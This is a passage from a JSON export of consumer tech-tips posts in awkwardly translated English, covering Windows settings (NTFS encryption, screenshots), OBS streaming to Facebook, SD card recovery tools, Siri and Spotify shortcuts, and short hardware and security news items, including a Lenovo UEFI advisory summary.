Group Policy Editor, double-click the policy Do not allow encryption on all NTFS volumes to edit it.\nStep 4.\nTo enable NTFS file encryption, select Not Configured or Disabled , then click OK .\nNote : Not Configured is the default setting.\nTo disable NTFS file encryption, select Enabled and click OK .\n  Step 5 . When finished, close Local Group Policy Editor.\nStep 6 . Restart the computer to apply changes.\nMethod 2. Enable or disable NTFS file encryption using REG files Note : The .reg file below will add and edit the DWORD value in the registry key below.\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetPolicies\nNtfsDisableEncryption DWORD\n(delete) = Activate\n1 = Disable\nStep 1 . To enable NTFS file encryption, download the file according to the link below.\nhttps://www.tenforums.com/attachments/tutorials/163380d1510424051-enable-disable-ntfs-file-encryption-windows-enable_ntfs_file_encryption.reg  Note: This is the default setting.\nTo disable NTFS file encryption, download the file according to the link below.\nhttps://www.tenforums.com/attachments/tutorials/163381d1510424051-enable-disable-ntfs-file-encryption-windows-disable_ntfs_file_encryption.reg  Step 2 . Save the .reg file on the desktop.\nStep 3 . Double click the .reg file to merge it.\nStep 4 . When notified, click on Run, Yes (UAC), Yes and OK to accept the merge.\nStep 5 . Restart the computer to apply changes.\nStep 6 . You can delete the .reg file if you want.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyoqWacmaiuo7jEZqWtnqNis6q4xGacp5uirr21tc6nZKKmXay2r7DOsKo%3D\n","link":"/post/how-to-enable-or-disable-ntfs-file-encryption-in-windows/","section":"post","tags":null,"title":"How to enable or disable NTFS file encryption in Windows"},{"body":"Computer lag and slowness are quite common with computers that use HDD and have low configuration. When facing this problem, surely many of you will choose to reinstall Windows or Ghost again, right?\nYes. It is true that reinstalling Windows is smoother, but this invisibly reduces the life of computer components, especially your hard drive, if you do it too many times.\nMoreover, this also takes up a lot of your time. So, the best solution is not always to re-run the operating system, we only do this when there is no other way.\nIn this article, I will show you how to enable the autocorrect feature on Windows operating system, to keep your computer running smoothly and smoothly without having to reinstall it. Win often!\nHow to enable auto-correction on Windows 10 You may not have noticed that since Windows 10 version 1909 onwards, Microsoft has provided us with a tool to automatically detect and fix errors.\nThis tool will automatically detect and fix the error as soon as it sees it, so you won't have to worry about lag due to minor errors of the Windows system anymore.\nThis feature has the ability to identify and remove dangerous software, automatically update drivers, delete junk files, etc. or simply contribute to improving the performance of your computer. Doing:\nTo enable this feature, you first need to open Windows Settings by opening the Start menu =\u0026gt; and selecting Settings.\nOr you can use the Windows + I key combination for fast, in addition, you can see more ways to open Windows Settings.\n  In the main interface window of Windows Setting, you access the Privacy section =\u0026gt; select Diagnostic \u0026amp; Feed back, or you can enter each Diagnostic key in the search box above =\u0026gt; then select the correct result in the image below to be able to open it. the setting page of this feature already.\n  On the Diagnostics \u0026amp; Feedback Settings page, scroll down to the bottom and find the Recommended Troubleshoot section. This is the function I said, it has 4 different modes when you click on the drop-down menu, they include:\nFix problems for me without asking: Automatically fix any errors or problems that it finds, without asking your opinion. Tell me when problem get fixed: Same as the above mode, only it will notify you after it has fixed all the errors. Ask me before fixing problem: Detect errors and wait for your decision before proceeding to fix the problem or not. This feature will be selected by default when you reinstall the operating system. Only fix critical problems for me: Also automatically detects errors, but only particularly critical errors and fixes it without consulting you. Usually I leave it in Tell me when problems get fixed mode because I don't care what the error is, just fix it and report back to me.\nPlease choose whichever option you feel is best for you. After selecting, then restart Windows for this setting to take effect!\n  Okay, with this auto-detection and error-correction feature on Windows 10, we will encounter fewer errors during use, it's really useful for those of you who don't have much experience in using it. computer use.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYytn55lkarBsK%2FOq6mem6Ris6at066pnmWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-enable-the-autocorrect-feature-on-windows-10/","section":"post","tags":null,"title":"How to enable the autocorrect feature on Windows 10"},{"body":"Live stream on Facebook is now no stranger to users of this social network. You can live stream iPhone game screen to Facebook or any screen. To be able to live stream from PC to Facebook we will use OBS Studio software.\nThis is an upgrade software and a new version of Open Broadcaster Software. In general, how to stream live to Facebook using OBS Studio is similar to when streaming live to Facebook using Open Broadcaster Software. The following article Network administrator will guide you how to stream live screen to Facebook using OBS Studio.\nHow to Stream Live Video on Facebook mobile (Android, iOS). How to use the Facebook Creator live stream, record Facebook videos How to share the screen playing live stream on Facebook Live 1. Guide to live stream Facebook using OBS Studio Step 1:\nFirst, click on the link below to download OBS Studio software. Then proceed with the installation as usual.\nDownload OBS Studio   Step 2:\nIn the software interface, click on Sources icon to select the video recording mode. In this list there are many options for direct recording of the screen. There will be some frequently used options such as:\nDisplay Capture to live stream full screen computer. Image Slide Show to live stream slide shows to Facebook. Game Capture to live stream game screen. Video Capture Device for live stream with webcam. Windows Capture will select the open application window for live stream. If you want to live stream your computer screen to Facebook, choose Display Capture .\n  Step 3:\nDisplay naming interface for screen live stream operation. You name it and click OK below.\n  Step 4:\nDisplay the live stream screen on OBS Studio, click OK.\n  Step 5:\nGo to your personal Facebook account and click on the Video section directly above the interface.\n  Step 6:\nDisplay the Connect to live broadcast screen , click the Connect button . Note that during live streaming on Facebook, do not turn off this interface.\n  This will display the server URL and Block flow . Click the Copy button to copy these 2 contents. Note to readers , if you don't see the Flow lock line, minimize the computer screen.\n  Step 7:\nGo back to the OBS Studio software interface, click the Settings button .\n  Step 8:\nSwitch to the new interface and click on the Stream section, then look to the right of the Stream Type section and select the Custom Streaming Server .\n  This will display 2 lines of URL and Stream key . Please copy 2 lines of server URL and Block thread on Facebook interface and enter this content as shown below. Click Apply and OK to save.\n  Step 9:\nClick Start Streaming in the software interface to play live stream on Facebook.\n  Step 10:\nNow on Facebook will display the video stream loading screen.\n  It will then display the live stream screen on Facebook for users to preview.\n  Step 11:\nLooking to the side you can enter a title for the currently playing video, add content, . and press the Live play button .\n  Also in this section can press the Schedule button to schedule live stream. In the scheduling interface, we can choose the playback time, images waiting before playing live tream. Finally click Schedule.\n  Video results will be played live on Facebook as below.\n  Step 12:\nTo stop playing the video directly on Facebok, click the Finish video button directly in the Facebook Direct Connect interface. Or press the Stop Streaming button on OBS Studio software.\n  2. How to live stream on Facebook with webcam For gamers who normally live stream games on Facebook, there is a need to include webcam images in the video.\nStep 1:\nIn the Sources section click Display Capture to live stream the computer screen. To continue streaming with the webcam screen, select Video Capture Device .\n  Also name this live stream playback operation and click OK.\n  Step 2:\nInstantly displays the image preview screen captured from the webcam. We will have the settings below to adjust the webcam image. If not, click OK to save.\nHow to adjust the location of the webcam when Live Stream Video on Facebook   Step 3:\nThen there is the webcam image displayed directly on the live stream screen. Users can enlarge or shrink the webcam frame size by dragging the red frame, changing the location of the webcam on the screen. This adjustment depends on each person and live content on Facebook.\n  Step 4:\nYou also go to the Live Video section on Facebook to get the server URL and Lock the stream as above. Then paste it into the URL and Stream Key section on OBS Studio software.\nThe live stream preview screen results will look like the image below. The location of the webcam screen will be displayed on the live stream screen.\n  Finally we play live stream as usual.\n  Video tutorial live stream on Facebook Through OBS Studio software, we can easily play video directly from the computer screen to Facebook. The server URL and Blocking URL are already available in the live video playback section on Facebook, so you don't need to access external sources. If you enter the URL and Stream key on OBS Studio error, reload the page that provides Lock Flow on Facebook and re-enter the content.\nSee more:\nFix blocking pop-ups when Stream Live Facebook videos on PC How to fix common errors when live stream in OBS How to live stream Facebook using the software XSplit Broadcaster I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZq7Juv9OrnJqlXZuupLHBqKakZaeewal5zpuqZqukqrGqu4yspp%2Bsp5a%2Fpg%3D%3D\n","link":"/post/how-to-live-stream-facebook-with-obs-studio-software/","section":"post","tags":null,"title":"How to live stream Facebook with OBS Studio software"},{"body":" Are you tearing your hair out over a corrupted SD card? There's nothing worse than the feeling that you've lost priceless photos. Luckily, with the right recovery software, you may be able to retrieve some of the files off of that...\nMethod 1of 3:\nUsing PhotoRec (All Operating Systems)  Download the PhotoRec software. PhotoRec is a free data recovery program that runs from a command line interface. It is not as flashy or intuitive as other recovery programs, but it is one of the most powerful free data recovery solutions, and works on virtually all operating systems. PhotoRec can be downloaded from the CGSecurity website. Ensure that you are downloading the correct version for your operating system.   Extract the program. PhotRec is a lightweight program, and does not need to be installed. Instead, open the ZIP file after it is downloaded and copy the folder to an easy-to-access location on your hard drive, such as the root of C: drive or your desktop.\n  Run the program. Double-click on the \"photorec_os\" file in the TestDisk folder. The os part of the name will be replaced with whatever version you downloaded. For example, if you are using Windows, the file will be called \"photorec_win\".\n  Select the card. Ensure that the SD card has been inserted into your computer's card reader, or that it is inserted in the camera and the camera is connected to the computer via USB. When PhotoRec starts, you will be given the option to choose which disk you want to recover data on. Use the arrow keys to select your SD card. If you have multiple partitions on the disk, you will be asked to select which partition you want. Most memory cards aren't partitioned, so you won't need to choose.   Set your options. You are given a few options before the recovery process starts. Most users can leave these at their defaults, but if you want to recover files even if they are corrupted, you can enable that on this screen. Enabling \"brute force\" will recover fragmented files, and is very CPU intensive.   Define what file types you are looking for. By default, all of the file types are highlighted. If you know exactly what files you are looking for, you can narrow it down to speed up the search. Each extension in the list has a brief definition next to it to help you determine what kind of file it is. If you are recovering for a camera, you will want to focus on RAW and CR2 files, as well as JPG   Select the file system. PhotoRec will need to know what file system type the memory card has. Most memory cards are formatted in one of the systems in the \"Other\" category. If you aren't able to get any results, try running the scan again with the other file system option.   Tell PhotoRec what space to check. PhotoRec will give you two options for space checking: Free or Whole. If your memory card is corrupt, you will get better results with the Whole option. The Free option will only look for files that have been specifically deleted.\n  Set the location for recovered files. The last thing you need to do before you start scanning for files is set a location for recovered files to be saved. You will need to select a location on your computer and not on the memory card you are trying to recover from. Use your arrow keys to change directories.\n  Wait for the scan to finish. You can see the scan results update as the scan is performed. PhotoRec will make at least two passes on the card to try to find as many files as possible. This will take several minutes.\n  Browse your results. After the scan is complete, the recovered files will be available in the directory you set before the scan started. The original filenames will almost always be lost, so you will need to manually change them back to whatever you want.[1] If the files you need are still corrupt, there is likely no way for them to be fully recovered.  Method 2of 3:\nUsing Recuva (Windows)  Download and install Recuva. Recuva is a file recovery program that has a free version available for home use. It is Windows only, and has a graphical interface instead of using the command prompt. You can download Recuva from the Piriform website. Make sure to choose the Free version when selecting your download. Most users can leave the installation settings at their default.   Insert your SD card. Ensure that the card has been inserted into your computer's card reader, or that the card is inserted in a camera and the camera is connected to your computer via USB.\n  Choose the file types. When you start up Recuva and click past the Welcome screen, you will be shown a list of options for what types of files you want to search for. Choose the category that best suits your needs, or click the Other option to manually select all the file types you want to search for.\n  Select the location. On the next screen, you will be asked where Recuva should look for files. Choose the \"On my media card or iPod\" option and click Next.\n  Choose whether or not to enable Deep Scanning. On the next screen, you will be given the option to enable a Deep Scan. This is a very time-intensive scan, and should only be done if your first scan doesn't recover the files you need.\n  Start the scan. Click the Start button to begin the scan. The scan will begin, and a progress bar will display how far along it is. The time of the scan will depend on how large the SD card is.\n  Browse through your results. When the scan is complete, you will be shown a list of all the recovered files. Click the Switch to advanced mode button. This will enable the drop-down filter, which will help you narrow the list down a little. Original file names are almost always deleted during a recovery, so you will need to manually rename recovered files.   Select the files you want to recover. Check the box next to each file you want to recover. Use the preview to determine which files are the ones you want to keep. Once you've checked all the files you want to save, click the Recover button. You will be asked where you want to save the files, and they will then be copied to that location.[2]\n Method 3of 3:\nUsing Data Rescue 3 (Mac)  Download and install Data Rescue 3. Data Rescue 3 is a paid program, but is one of the more effective data recovery programs on Mac. If you want a free option instead, see the first section of this article. To install the downloaded program, double-click the DMG file that was downloaded and then drag the contents to your Applications folder.   Start the program. When you first start the program, you will be taken to the main menu. If this is your first time running Data Rescue 3, only the first option will be available: Start New Scan. Click it to get started.\n  Insert your SD card. Ensure that the card has been inserted into your computer's card reader, or that the card is inserted in a camera and the camera is connected to your computer via USB or Firewire.\n  Select the SD card. The SD card should appear in the list of available drives. If it is not available, ensure that it is inserted properly. Click the Next button after selecting the card.\n  Select your scan type. You will be given several options for scan types. Quick Scan is your best bet for a first scan, as it is the quickest and still fairly powerful. You can come back and try a Deep Scan or Deleted Files Scan if the first scan does not provide any results. Click the Start button when you are ready.\n  Wait for the scan to finish. The length of the scan will vary depending on the size of the SD card and how corrupted it is. You can look at the progress bar to see how far along the scan is.\n  Select the files that you want to recover. When the scan is complete, you will be given a list of all the files and folders that were recovered. Browse through the results and check the files that you want to keep. Original file names are almost always deleted during a recovery, so you will need to manually rename recovered files. You can preview files by selecting them and clicking the Preview button at the bottom of the list.   Recover the files. You can either drag and drop the files you want to keep into any location in your Finder, or by checking the files and clicking the Recover button. You will be prompted for a location to save the files.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLC2sYyfoKWdo2K8r3nAZpqoqqKqvbWxw2aqnWWdmrqwvthmmpqqlGLEqsDHZqehp6Skv6av\n","link":"/post/how-to-rescue-files-on-a-corrupted-sd-memory-card-with-photorec/","section":"post","tags":null,"title":"How to Rescue Files on a Corrupted SD Memory Card with PhotoRec"},{"body":"If you haven't used Siri to control music seamlessly, hands-free on your iPhone or iPad, you might want to start doing this. Not only is it more convenient to play daily music, but it is also safer when you're busy, such as when driving.\nUnfortunately, Siri doesn't officially support third-party music streaming services like Spotify. However, with a bit of know-how and a few minutes of setup, you can make it work. So if you prefer to use Spotify than Apple Music to play music, you can still take advantage of Siri!\nFollowing is the step by step guide of TipsMake.com to set up Siri with Spotify. Eventually, you'll be able to control your music playback, using nothing but voice.\nHow to use Siri with Spotify While setting up Siri Shortcuts to use with Spotify may sound like a tiring task, in fact, this is a very simple process, if all the steps mentioned below are done correctly. In addition, please note that a Spotify Premium account is a prerequisite for this method to work properly.\nInstall Shortcuts First, you'll need the Shortcuts app, in short, that's how Apple allows users to customize what Siri can do.\n1. On your iPhone or iPad, launch the App Store .\n2. Search for Shortcuts.\n3. Shortcuts application will display in the first result. Please proceed to download.\nDownload the Spotify Shortcut installer Once the Shortcuts app is installed and ready to go, you'll need to download the Spotify Shortcut installer on Safari or the browser of your choice.\n1. Open the browser.\n2. Open this link to find the Spotify Shortcut setup file, which will allow you to start connecting Spotify and Siri.\n3. When the page loads, press Get Shortcut and select Open.\nNow, this is a time when the process becomes a bit more complicated.\nYou will be redirected to the Shortcuts application, as seen below. Click Get Shortcut again. In a few seconds, you should see quite a lot of text and scripts appear on the screen. However, the important part is the Play button below the 'Spotify Shortcut setup' text located in the middle of the top of the screen. Click the Play button .\n1. You will see a message asking if you want to run the shortcut. Click Run Shortcut .\n2. You will then see a piece of text, instructing you to copy and paste the token afterwards. Click OK.\nNow, you will see a few options for setting specific shortcuts with different functions.\n1. For the purpose of this tutorial, select Play Spotify at the top. This shortcut has special functions, similar to telling Siri 'Play Music' . It will open Spotify and automatically play a song from your library. (Unfortunately, if you have a standard Spotify subscription, this function will only open the Spotify app and do nothing else.)\n2. After selecting Play Spotify , you will be redirected to the Spotify login site. Log in and authorize the shortcut to work with the account. Click Agree.\nAfter doing this, you will be redirected to a tokenized page as mentioned above. Copy all the text under 'Spotify authorization code' . This is important! Be sure to perform carefully and exactly with what you choose. Copy code only, no spaces. If not, you will have to start from the beginning until now to paste the code.\nNow, after doing that, click Done.\n1. You will now be greeted with the message 'All Set' . Click on OK.\n2. And then the message 'Get Shortcut' . Click the green Get Shortcut button.\n3. Remember the token you mentioned earlier? This is the time to use it. To complete the setup, simply paste the code you copied into the Enter text box .\nFinally, the shortcut is complete and ready to go! But things have not ended here.\nRecord your voice command Now, you need to let Siri realize when the shortcut has just been installed. To do this, you need to set up a voice command.\n1. Open the Play Spotify shortcut box.\n2. Touch the settings icon at the top right of the screen. You should now see the Settings menu .\n3. Click Add to Siri .\nInside the Add to Siri menu, you'll be prompted to record a voice command, so whenever Siri hears any phrase you record, the virtual assistant will run the Play Spotify shortcut and play music. You can choose to say whatever you want. As you can see below, the example selected 'Bagel'. So whenever saying 'Bagel', Siri will launch Spotify and play a song. Great!\nAll operations are finally completed.\nRemember that there are many shortcuts with different functions, like skipping tracks, to install. You can use the same installer already in Shortcuts to get those shortcuts. Just open the Spotify Shortcuts setting box, press the play button and select the desired option.\nOnce set, go to Settings to record the voice command and everything is done! Finally, you can control everything in Spotify with just your voice, as long as you have an active Internet connection and subscribe to Spotify Premium.\nNow that you've fully grasped the basics of using Siri Shortcuts with Spotify, take a look at the 10 best Siri shortcuts for iOS users to get the most out of Siri on iPhones and iPads.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0tdGiZKygn6fBpMHTrGSwoaSderS8zq2gn7E%3D\n","link":"/post/how-to-use-siri-shortcuts-with-spotify/","section":"post","tags":null,"title":"How to use Siri Shortcuts with Spotify"},{"body":"No matter which operating system you use - Android or iOS, there are applications that pop-up asking for ratings or reviews. Some applications that provide the Never option will prevent similar requests from appearing in the future, but most do not have this feature. In that case, you only have to choose Yes or Remind Me Later .\nOf course, the second option will cause the application to continue to pop-up on subsequent visits. If you want to prevent this pop-up from appearing, TipsMake.com will guide you in a very simple way.\n  Select Yes as if you want to rate or rate the app. When the App Store or Google Play Store opens, simply click Back or close the page. The store will remember that you clicked Yes and did not ask you to rate it again.\nHowever, you may find that the pop-up appears again when the application is updated by developers who often require reviews on each of the latest versions.\nIf you regularly use an application, you should take some time to honestly evaluate. This is also a way for new users to have a more accurate view of the application.\nDo you often leave reviews or comments about certain applications? Let us know your comments by commenting below!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaanKSwrLXNoGSerpGhwqLAyKilZqqVpsKmv9OsZKKmXZa9sbjInJitoZ%2BjwA%3D%3D\n","link":"/post/instructions-for-blocking-evaluation-requests-in-applications/","section":"post","tags":null,"title":"Instructions for blocking evaluation requests in applications"},{"body":"On Android P 9.0 version - the latest Android operating system has been redesigned by Google to adjust the volume bar in a simple and more refined style. Specifically, users can swipe to change the small size setting of notification sounds, videos, music, incoming call alarms, etc. right next to the device screen vertically instead Because horizontal as before. This interesting feature will also be brought to other Android operating systems if following the instructions in the article below.\nInstructions to bring volume control button to the notification bar are like Android P interface To be able to experience this feature of Android P without waiting for the compatible operating system version for your Android device, download the Volume Slider application. This is an application that allows you to adjust the volume of the device from the notification bar, you will not need to adjust with the physical buttons as before, which will limit the status of the volume keys are broken, being freeze and improve the life of your device.\n  In order to make it easier and more convenient for users to adjust volume, the application also allows you to change the position of the adjustment bar, customize the color, etc. At the same time, when you drag the notification bar down there will be a series of widgets that control the volume of each part such as alarm volume, call volume, media, notification sounds, .\n   Installing the Volume Slider for the device, you must agree to the application to access some of the following rights:\nAllows the app to work without being bothered. Run at startup. Licensing for system coatings. Right now, you can download the Volume Slider for your phone by clicking on this link.\nDownload the Volume Slider Android P application - P Volume Control for Android. See more:\nHow to turn on the \"rabbit ear simulator\" feature on Android P Download now 18 Full HD wallpapers for Android P Highway time to release Android flagship smartphones 2018 Instructions for bringing Dolby Atmos audio technology to Android devices ncG1vNJzZmismaXArq3KnmWcp51kvbbAjK2fnmWmpLm2ucRmmqimpKe8rXnBrqutp55ivK9506GcZqafqbantcKaq6KnnmKvor6MpaCknV2ptaZ5wKebq6eZmXqxecinq56qlpawpg%3D%3D\n","link":"/post/put-the-volume-control-button-on-the-notification-bar-like-the-android-p-interface/","section":"post","tags":null,"title":"Put the volume control button on the notification bar like the Android P interface"},{"body":"According to a recent article in the journal Nature, scientists at Stanford University are conducting a very unique study: Taking pictures of human anus when they go to the toilet to test and assess the situation. their health status.\nSpecifically, scientists have invented a system to track the ability of 'letting go of sadness' of specific individuals in a certain time. All collected data (mostly images) are carefully stored by cloud computing technology, and play an important role in the research process for public health purposes. Although the world has embraced so many smart toilets in the past few years, this is probably the first time a toilet has been able to recognize and take pictures of people's backdoors.\n From defecation, scientists can assess the health status of people.\nThis special toilet, called Precision Health Toilet, is equipped with up to 4 cameras for different purposes: 1 stool stool, 1 anal stool and 2 urine flow monitors. The camera system will help the toilet analyze the quality as well as sort the human waste.\nTo avoid data confusion, Precision Health Toilet also has a built-in 2-layer identifier to distinguish between different users and their respective waste. The first layer of identification is the fingerprint sensor mounted on the water dispenser. The second layer is the aforementioned anal hole camera. Scientists say the purpose of this security technology is to avoid confusion and data tampering during the user's experience.\nProfessor Seung-min Park, co-author of this unique study, said: ' The use of human waste and anus as a biometric identifier is not a new topic. Since the last century, great artist Salvador Dalí has ​​discovered that on each anal hole there are about 35 to 37 different wrinkles, unique like fingerprints .\n This special toilet is equipped with camera system and advanced security layer.\nThe most important thing in this paper is that all data is sent to the cloud instead of stored in the toilet. Professor Park said: ' All information collected in the form of images and videos are clearly annotated and detailed by each specific user. They are then stored in the cloud via a wireless connection so scientists can easily download and conduct research '.\nIn addition, Professor Park emphasized that the privacy of the test participants is the top priority in this study: ' We are always careful with the data collected from the users. The process of sending their photos, data, sensitive information is all end-to-end encrypted to ensure confidentiality. We have also used a special algorithm to classify anal photo data, capable of automatically processing data without human intervention . ' In addition, users' images are encrypted and stored in an absolutely secure device.\n The process of collecting and transmitting user data is encrypted and secured carefully.\nFinally, Professor Park said the development of Precision Health Toilet is the first step in the public health research process. This includes the diagnosis of common conditions like prostate enlargement, irritable bowel syndrome and urinary tract infections: ' This special toilet will play an important role in health research. of human. It can silently observe and track users without really interfering or affecting too much of their lives . '\nncG1vNJzZmismaXArq3KnmWcp51kwK6t0a1kraeZobK1v4ycmKdlmZmyr8DIn7BmsZ%2Bqv26uwJyioaecmnqiusNmq5qjlWK9qbvTqKpmnp%2BnerOx0p6Yq5uYYsCktcSnq6KrpKg%3D\n","link":"/post/smart-toilets-can-identify-your-backhole-and-take-photos-for-research-scientists/","section":"post","tags":null,"title":"Smart toilets can identify your 'backhole' and take photos for research scientists"},{"body":"Full suite of free Adobe software, with keys: Illustrator, After Effects, Premiere Pro, Photoshop CS2, Acrobat, . invite to download.\nIf you are a person who has to handle, image editors will often use many specialized image editing software. And the name Adobe Photoshop CS2 is a very familiar program, from professionals and amateurs in the field of image editing. And along with the free release of Adobe CS2, the manufacturer also provides users with free software packages such as Illustrator, After Effects, Premiere Pro . With just a few quick registration steps, we will be available immediately. Complete Adobe CS2 for free, included with the manufacturer's serial key.\nStep 1: First, click on the link below to go to Adobe's homepage.\nhttp://www.adobe.com/ Step 2: At the main interface, click on the Sign in item on the top of the interface.\n  Step 3: We will be redirected to the Adobe account login page. For those who already have an account, you can login now. If you don't have an account, click Get an Adobe ID .\n  Step 4: At the Adobe account registration interface, we need to enter the name, email address, password, . on the required items, check the 2 conditions for using the software . Then click Sign up .\nNote , passwords should be longer than 8 characters, have at least 1 numeric character or symbol in the password, including uppercase and lowercase letters. Does not contain your name or the name of the email address.\n  Step 5: Next, go to the link below to go to the download page of CS2 software.\nDownload the Adobe product suite for free In that interface, we will need to agree to the conditions before we can download the free software package. Select I Accept .\n  Step 6: Next, select the language you want to download the software to your computer.\n  Shortly thereafter, there will be a summary of all software included with Photoshop CS2 and serial number for each software, including: Creative Suite 2, Acrobat 3D 1.0 for Windows, Acrobat Standard 7.0, Acrobat Pro 7.0, After Effects, Audition 3.0, GoLive CS2, Illustrator CS2, InCopy CS2, InDesign CS2, Photoshop CS2, Adobe Premiere Pro 2.0. Some software will be available for Mac.\n  So we can download the full set of Photoshop CS2 along with other free software from the manufacturer. Hopefully with this suite, you will have more useful tools for your editing or design work.\nRefer to the following articles: Photoshop CS: Pairing 2 simple images into one Instructions for creating animated images and GIF images in Adobe Photoshop CS6 Make sharp photos in 2 ways in Photoshop I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWYpMRuwM5mm6ivnqG8orCMrZ%2BeZZaqua150p6rZqeWYq6lu8GeZKmgn6m8tLTOqWScq2JiwLCy07CYq51dm7yzecWrnJ4%3D\n","link":"/post/this-is-how-to-download-the-full-set-of-adobe-photoshop-cs2-software-for-free/","section":"post","tags":null,"title":"This is how to download the full set of Adobe Photoshop CS2 software for free"},{"body":"Ceiling or air-conditioner, cassette air conditioner has the same structure as wall-mounted air conditioner but is designed to be installed in the ceiling. Especially, the ceiling air conditioner has an automatic drainage system, so when installing, it does not need to handle the slope.\nWhen installing ceiling air conditioners, the entire body will be submerged in the ceiling, only the surface of the indoor unit protrudes.\n  Anatomy of ceiling air conditioner Air conditioner ceiling 1 pm or 2 pm have 2 basic components are indoor and outdoor units.\nIndoor and air conditioner The indoor unit of the ceiling air conditioner is an aluminum copper tubular heat exchanger, equipped with centrifugal fan (squirrel cage) and placed inside the room.\nThe indoor unit has drainage pipes with a certain slope so that water does not condense on the pipes.\nThe indoor unit has only a fan and a control board so the amount of electricity consumed is quite small, only about 5%.\nOutdoor unit air conditioner ceiling Outdoor unit with ceiling air conditioner is an aluminum copper tubular heat exchanger with axial fan. Like the outdoor unit of the wall-mounted air conditioner, the outdoor unit of the ceiling air conditioner is designed to allow outdoor installation without shielding.\nOutdoor units are the most energy-consuming parts of air conditioners, accounting for about 95% of electricity consumption.\nThe principle of operation of the ceiling air conditioner Concealed air conditioner works similar to other harmonic lines:\nThe indoor fan will suck and blow continuously, creating circulation and dispersion of air throughout the room. Temperature sensor in the indoor unit connected to the signal processing board is responsible for sensing the temperature of the air in the room. When the room temperature is about 1 - 2 ° C higher than the set temperature, the control board for the outdoor unit operates. The outdoor unit will provide air-conditioning gas to the indoor unit and lower the temperature. When the indoor air temperature is reduced to the set temperature, the indoor unit will stop working and only the indoor air function will circulate. Depending on whether the room temperature has been reached, the outdoor unit is at rest and the indoor unit is operating continuously. When the internal temperature rises, higher than the set temperature by 1-2 ° C, the board will control the outdoor unit to run again, continue the cooling process.   Should we buy ceiling air conditioner? Depending on your needs, room design, room size, budget . you can choose to install ceiling air conditioners or not.\nHere are the pros and cons of ceiling air conditioners, you can consult before deciding whether to buy ceiling air conditioners.\nAdvantages of ceiling air conditioners Get rid of sound and dust well. Easy installation and operation. Ensure aesthetics in terms of space. Easy to clean. The ability to cool quickly, the air will be distributed evenly, every corner of the room. Easy control. Disadvantages of concealed ceiling Not suitable for rooms with small installation spaces. Greater power consumption due to greater cooling capacity. The price is higher than the wall air conditioner line. ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTmrattc2gZJynnpm2tbXOp5yrZaOdvLa4w2aunmWSqsZur8Sio6Kml2Kuqr6MnKannJmptrC6xKs%3D\n","link":"/post/what-is-ceiling-conditioner-should-we-buy-ceiling-air-conditioner/","section":"post","tags":null,"title":"What is ceiling conditioner? Should we buy ceiling air conditioner?"},{"body":"If you have seen the article on how to take a screenshot of your computer on Windows 10, in there, the keystroke method Windows + Print Screen(or the PrtScr button) will immediately save the screenshot to the default folder under path C: UsersAdminPicturesScreenshots.\nHowever, saving images in the partition containing the operating system is not recommended, the possibility of losing data will be very high when we repair the operating system. So you should move the directory / path to save the image to another folder more secure.\nBelow will be a guide on how to change the default photo folder / image save path on Windows 10.\nHow to change the default folder, screenshot save path on Windows 10 Step 1: Create a new folder to save the image, create a different partition from the partition where the operating system is saved. Like in the photo I created in partition F is also an SSD hard drive.\nIf you do not know how to create a new folder, just click on any empty area and select New -\u0026gt; Folder.\nStep 2: Open the folder under the path C: UsersAdminPictures\nThe path above may not match your User name, you should open My Computer ( This PC ) and click and the Pictures folder is right on the left side of the window.\nNext right-click Screenshots and select Propeties , then select the Location tab and click the Move button to change the path.\n  Step 3: In the Destination window , you just need to find the path to the folder where the newly created image is saved, click to select and then click Select Folder to confirm.\nFinally, click OK to complete changing the default photo folder / image save path on Windows 10.\n* Note: If you want to undo the folder back to the default, just click the Restore Defaul button (next to the Move button) at Screenshots Properties / Location in step 2.\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZqyYmnqxrdOhZK2nXaiut7GMrJqrnZWjwKm706xkqKZdrLavsM6wqmZpYA%3D%3D\n","link":"/post/change-the-path-to-save-screenshots-on-windows-10/","section":"post","tags":null,"title":"Change the path to save screenshots on Windows 10"},{"body":"In addition to Intel Core i3, i5 processor options, the Inspiron R series is also equipped with Wireless Display wireless high-definition video signal technology.\nWith a price of only 449 USD (according to Dell's website), users can choose the new laptop line of this product with 5 colors: black, pink, red and blue with screen sizes of 14, 15 and 17 inch HD resolution standard.\nIn addition to the Core i processor, the Dell Instpiron R series is also powerful with the option to upgrade DDR3 RAM to 8GB, 640 GB hard drive, ATI discrete graphics card with 1GB VRAM and SRS Premium Sound speaker system.\nThe most special feature of this product line is that despite being quite cheap, it is equipped with Intel's Wireless Display technology to help broadcast wireless high-definition video signals to TVHD.\n  Surface in scratched aluminum is a new trend in the design of manufacturers.\n  Touchpad.\n  The 15 and 17 inch models own a full keyboard with the right side number pad.\n  SRS Premium Sound speaker system.\n  Upper surface with glossy plastic cover.\n  Next to the optical drive.\n  Three models of Inspiron R series with screen sizes of 17, 15 and 14 inches respectively from left to right.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y6xkp52nYravv8%2BiqaimXad6rbXNnmScp6OpwG67zaWwZmxkbnq2v8M%3D\n","link":"/post/dell-s-new-inspiron-r-line-costs-only-449-usd/","section":"post","tags":null,"title":"Dell's new Inspiron R line costs only 449 USD"},{"body":"Lenovo has just published a security advisory about vulnerabilities affecting Unified Extensible Firmware Interface (UEFI) installed on at least 100 of its laptop models.\nA total of 3 security issues were discovered, two of which allowed hackers to disable protection for SPI flash memory chips, where UEFI firmware is stored, and disable UEFI Secure Boot, which ensures that at At startup the computer loads only code that is trusted by the OEM.\nIf successfully exploiting the third vulnerability, CVE-2021-3970, hackers can execute arbitrary code with elevated privileges.\nAll three vulnerabilities were responsibly discovered by ESET researchers and reported to Lenovo last year. They affect more than 100 consumer laptop models including the IdeaPad 3, Legion 5 Pro-16ACH6 H, Yoga Slim 0-14ITL05. This equates to millions of users using 